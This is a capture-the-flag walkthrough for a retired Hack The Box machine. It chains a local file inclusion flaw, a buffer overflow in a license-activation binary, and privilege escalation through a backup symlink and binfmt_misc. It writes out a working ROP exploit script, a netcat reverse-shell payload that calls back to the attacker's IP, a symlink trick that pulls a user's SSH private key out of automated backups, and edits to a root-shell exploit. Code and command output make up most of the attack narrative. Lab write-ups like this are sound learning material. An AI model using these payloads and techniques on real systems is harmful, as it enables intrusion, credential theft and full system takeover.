Retired
LFI -> BOF -> RCE (Writeup used)
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.227.96
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 23:13 EDT
Nmap scan report for 10.129.227.96
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
LFI -> activate_license Binary
When we visit port 80, there's an obvious LFI present:


I was a bit lazy, so I created a quick Python script to read the files:
import os
while True:
file = input("File: ")
os.system(f'curl http://10.129.227.96/index.php?page=../../../../../../../..{file}')
I still ran a gobuster
scan to enumerate any other pages:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.227.96 -x html,txt,php -t 100 -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.227.96
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
2023/05/10 23:19:47 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 0] [-> /index.php?page=default.html]
/default.html (Status: 200) [Size: 11414]
/assets (Status: 301) [Size: 162] [-> http://10.129.227.96/assets/]
/css (Status: 301) [Size: 162] [-> http://10.129.227.96/css/]
/beta.html (Status: 200) [Size: 4144]
/js (Status: 301) [Size: 162] [-> http://10.129.227.96/js/]
beta.html
contained a file upload that did nothing, but it revealed some information regarding an activate_license
application present:

We can fuzz to find this binary somewhere. Create a quck file with PATH variables:
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games
Then, use wfuzz
to find the activate_license
binary.
$ wfuzz -c -w path_variables -u http://10.129.227.96/index.php?page=../../../../../../../..FUZZ/activate_license /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.227.96/index.php?page=../../../../../../../..FUZZ/activate_license
Total requests: 8
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 0 L 0 W 0 Ch "/usr/local/sbin"
000000003: 302 0 L 0 W 0 Ch "/usr/sbin"
000000008: 302 0 L 0 W 0 Ch "/usr/games"
000000007: 302 0 L 0 W 0 Ch "/usr/local/games"
000000005: 302 0 L 0 W 0 Ch "/sbin"
000000002: 302 0 L 0 W 0 Ch "/usr/local/bin"
000000004: 302 53 L 462 W 22501 Ch "/usr/bin
Seems that /usr/bin/activate_license
is where it is at. We can download this and try to run it:
$ curl http://10.129.227.96/index.php?page=../../../../../../../../usr/bin/activate_license
$ ./activate_license
Error: specify port to bind to
$ file activate_license
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
This confirms that this is a binary exploitation challenge. We can being with reverse engineering the binary in ghidra
.
Anyways, we can continue with our enumeration of the webpages. We can use this LFI to read the source code of the pages. There was an activate_license.php
file here too.
<?php
if(isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
?>
It seems that this thing takes the input from the file we uploaded and sends it to the activate_license
file on port 1337. We can grab this file and run it on our own PHP server.
$ php -S localhost:8000
Our script would have to send input to this file in order for it to be sent to the binary.
Proc + Binary Enum
We can continue to enumerate the processes present on the server. First, I want to enumerate what PID is the activate_license
binary using:
$ wfuzz -z range,1-65535 -u 'http://10.129.227.96/index.php?page=../../../../../../../../proc/FUZZ/cmdline' --ss license /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.227.96/index.php?page=../../../../../../../../proc/FUZZ/cmdline
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000432: 302 0 L 1 W 31 Ch "432"
Then, we can find out what is being run:
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/432/cmdline -o test
$ cat test
/usr/bin/activate_license1337
We can then enumerate /proc/432/maps
in order to see the libraries loaded in memory space.
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/432/maps
7f7d0d2c7000-7f7d0d2c9000 rw-p 00000000 00:00 0
7f7d0d2c9000-7f7d0d2ca000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f7d0d2ca000-7f7d0d2cc000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f7d0d2cc000-7f7d0d2cd000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f7d0d2cd000-7f7d0d2ce000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f7d0d2ce000-7f7d0d2cf000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f7d0d2cf000-7f7d0d2d6000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f7d0d2d6000-7f7d0d2e6000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f7d0d2e6000-7f7d0d2eb000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f7d0d2eb000-7f7d0d2ec000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f7d0d2ec000-7f7d0d2ed000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f7d0d2ed000-7f7d0d2f1000 rw-p 00000000 00:00 0
7f7d0d2f1000-7f7d0d300000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f7d0d300000-7f7d0d39a000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
<TRUNCATED>
Ghidra + Offset
First we can see that PIE is enabled on this binary:
gdb-peda$ checksec activate_license
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
NX is also enabled, so we probably need to do a Ret2Libc exploit after leaking the libc
address. Within the activate_license
function, there's a BOF vulnerability due to the hardcoded buffer length and lack of length validation. Furthermore, the first 4 characters read from input are the buffer length used:

So we can probably overwrite this with a huge number of bytes. I ran the binary on my own machine on port 5555, and it seems to take some input.

From reading ghidra
, it appears that it does some SQL stuff with our input after getting it:

So from this, it seems that the binary uses both libc
and libsqlite3
within this function. We can download both of them from the machine itself.
From reading a writeup, I learned that because we have access to the libc
files directly, we can actually call mprotect
. This function would basically make the stack executable, allowing us to inject shellcode instead of hopping all over the place with a Ret2Libc.
$ readelf -s libc-2.31.so| grep mprotect
1225: 00000000000f8c20 33 FUNC WEAK DEFAULT 14 mprotect@@GLIBC_2.2.5
However, it should be noted that it is possible to run the exploit even without this. This is because we can just call system
to execute our shell instead.
Now, we need to figure out how to cause a crash in the binary such that we can control the execution flow.
$ gdb -q --args ./activate_license 1337
Reading symbols from ./activate_license...
gdb-peda$ set follow-fork-mode child
gdb-peda$ run
Starting program: /home/kali/htb/retired/activate_license 1337
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
Afterwards, we can create a quick Python script to send the input:
from pwn import *
import sys
msg = sys.argv[1].encode()
r = remote('localhost', 1337)
r.send(p32(len(msg), endian='big'))
r.send(msg)
When run, our gdb
window shows that it crashes with a pattern of length 2000.
[----------------------------------registers-----------------------------------]
RAX: 0x2d6
RBX: 0x7fffffffde98 -> 0x7fffffffe1ff ("/home/kali/htb/retired/activate_license")
RCX: 0x0
RDX: 0x0
RSI: 0x5555555592a0 ("[+] activated license: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAA"...)
RDI: 0x7fffffffd580 -> 0x7ffff7cb0e70 (<__funlockfile>: mov rdi,QWORD PTR [rdi+0x88])
RBP: 0x4e73413873416973 ('siAs8AsN')
RSP: 0x7fffffffdd18 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
RIP: 0x5555555555c0 (<activate_license+643>: ret)
R8 : 0x555555559535 ("BEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177\n")
R9 : 0x7ffff7dcd580 (<__memcpy_ssse3+320>: movaps xmm1,XMMWORD PTR [rsi+0x10])
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffdeb0 -> 0x7fffffffe22c ("COLORFGBG=15;0")
R14: 0x0
R15: 0x7ffff7ffd020 -> 0x7ffff7ffe2e0 -> 0x555555554000 -> 0x10102464c457f
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555555b9 <activate_license+636>: call 0x5555555550b0 <printf@plt>
0x5555555555be <activate_license+641>: nop
0x5555555555bf <activate_license+642>: leave
=> 0x5555555555c0 <activate_license+643>: ret
0x5555555555c1 <main>: push rbp
0x5555555555c2 <main+1>: mov rbp,rsp
0x5555555555c5 <main+4>: sub rsp,0x60
0x5555555555c9 <main+8>: mov DWORD PTR [rbp-0x54],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd18 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0008| 0x7fffffffdd20 ("OAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0016| 0x7fffffffdd28 ("slAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0024| 0x7fffffffdd30 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0032| 0x7fffffffdd38 ("SAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0040| 0x7fffffffdd40 ("sqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0048| 0x7fffffffdd48 ("AsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
0056| 0x7fffffffdd50 ("WAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6\377\177")
[------------------------------------------------------------------------------]
We have overflowed the stack, and we can check the offset:
gdb-peda$ x/xg $rsp
0x7fffffffdd18: 0x73413973416a7341
gdb-peda$ pattern_offset 0x73413973416a7341
8304982355029422913 found at offset: 520
So we have an offset of 520.
Exploitation
I didn't really know how to craft this exploit, so I'll be using the official guide's script and trying to understand it.
First, since we can read the read the proc maps area, we can find the base addresses of which libc
and the binary are loaded:
license_base = 0x5556022af000
libc_base = 0x7f7d0d435000
Then, we can find the system
function, ROP gadgets and a writeable section of memory using these base addresses:
system = p64(libc_base + 0x0000000000048e50)
writeable = p64(license_base + 0x4000)
pop_rdi = p64(license_base + 0x0000181b) # pop rdi; ret;
pop_rdx = p64(libc_base + 0x000cb1cd) # pop rdx; ret;
mov = p64(libc_base + 0x0003ace5) # mov qword ptr [rdi], rdx; ret;
Then once we have these, we can use this to find the offset and write a system
command to the binary. The script used in the guide uses a basic bash
shell and inserts it in:
cmd = b"bash -c 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 7777 >/tmp/f' \x00"
Then, the ROP chaining occurs, where the command is written into the memory space 8 bytes at a time:
for i in range(0,len(cmd),8):
rop += pop_rdi
rop += p64(writable + i)
rop += pop_rdx
rop += cmd[i:i+8].ljust(8, b"\x00")
rop += mov
Afterwards, the whole ROP chain is written into a file and sent to the remote web server. This is done because the web server accepts file uploads and sends the file contents directly to the activate_license
binary, which would trigger the shell.
rop += pop_rdi
rop += p64(writable)
rop += system
with open('getshell.key','wb') as f:
f.write(rop)
files = {"licensefile": ("getshell.key", open("getshell.key","rb"),
'application/x-iwork-keynote-sffkey')}
requests.post(f"http://10.129.227.96/activate_license.php", files=files)
If this script is run, it gives us a reverse shell that we can upgrade.

Privilege Escalation
Backup Symlink Exploit
The first few things we notice is that there's a few backup zip files in the directory we are in:
www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx 3 www-data www-data 4096 May 11 04:59 .
drwxr-xr-x 12 root root 4096 Mar 11 2022 ..
-rw-r--r-- 1 dev www-data 505153 May 11 04:57 2023-05-11_04-57-01-html.zip
-rw-r--r-- 1 dev www-data 505153 May 11 04:58 2023-05-11_04-58-09-html.zip
-rw-r--r-- 1 dev www-data 505153 May 11 04:59 2023-05-11_04-59-01-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 2022 html
-rw-r--r-- 1 www-data www-data 12288 May 11 04:55 license.sqlite
If we list the timers, we can see that there's a website_backup script being run somewhere:
www-data@retired:/var/www$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2023-05… 35s left Thu 2023-05-… 23s ago website_back… website_back…
I ran a grep
to view files that had html.zip
within them and found one:
www-data@retired:/var/www$ grep -r / -e 'html.zip' 2> /dev/null
/usr/bin/webbackup:DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
Here's teh script contents:
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
This thing backs up the entire /var/www/html
directory and zips it. This is exploitable because we can create a symlink to the entire /home/dev
directory within the backup file.
www-data@retired:/var/www/html$ ln -s /home/dev/ file
Then we wait for the script to run again, and unzip the latest file:
www-data@retired:/var/www$ unzip 2023-05-11_05-07-01-html.zip
<TRUNCATED>
inflating: var/www/html/file/.ssh/id_rsa.pub
inflating: var/www/html/file/.ssh/authorized_keys
inflating: var/www/html/file/.ssh/id_rsa
<TRUNCATED>
We can see that it works, and now we can grab the user's private key and ssh
in. We can then grab the user flag.
Emuemu
Within the user's directory, there's an emuemu
folder:
dev@retired:~$ ls
activate_license emuemu user.txt
dev@retired:~/emuemu$ ls -la
total 68
drwx------ 3 dev dev 4096 Mar 11 2022 .
drwx------ 6 dev dev 4096 Mar 11 2022 ..
-rw------- 1 dev dev 673 Oct 13 2021 Makefile
-rw------- 1 dev dev 228 Oct 13 2021 README.md
-rw------- 1 dev dev 16608 Oct 13 2021 emuemu
-rw------- 1 dev dev 168 Oct 13 2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 2021 reg_helper
-rw------- 1 dev dev 502 Oct 13 2021 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 2022 test
The contents of reg_helper.c
is rather interesting:
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
This file is executable by us, and it seems to use binfmt_misc
or something. The Makefile
would create the binary and within it, it runs setcap
:
dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
So this bianry has cap_dac_override
capability. There are some exploits for binfmt_misc
that would spawn a root
shell if we can write to the /proc/sys/fs/binfmt_misc/register
file, of which this binary can.
We have to edit the exploit a bit. First we can remove all the checks on the writeability of the above file:
#function not_writeable()
#{
# test ! -w "$mountpoint/register"
#}
# not_writeable && die "Error: $mountpoint/register is not writeable"
Then, since reg_helper
is the binary that is allowed to write to that file, we have to change the last few lines of the exploit to use that binary instead:
binfmt_line="_${fmtname}_M__${binfmt_magic}__${fmtinterpr}_OC"
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
exec "$target"
The /usr/lib/emuemu/reg_helper
binary is used because it is owned by root
. The one within our home directory is owned by us, so it won't work in bypassing restrictions. After downloading it and running it, we would get a root
shell.

This machine was hard for me, and I used a writeup for initial access and emuemu
exploitation.
Last updated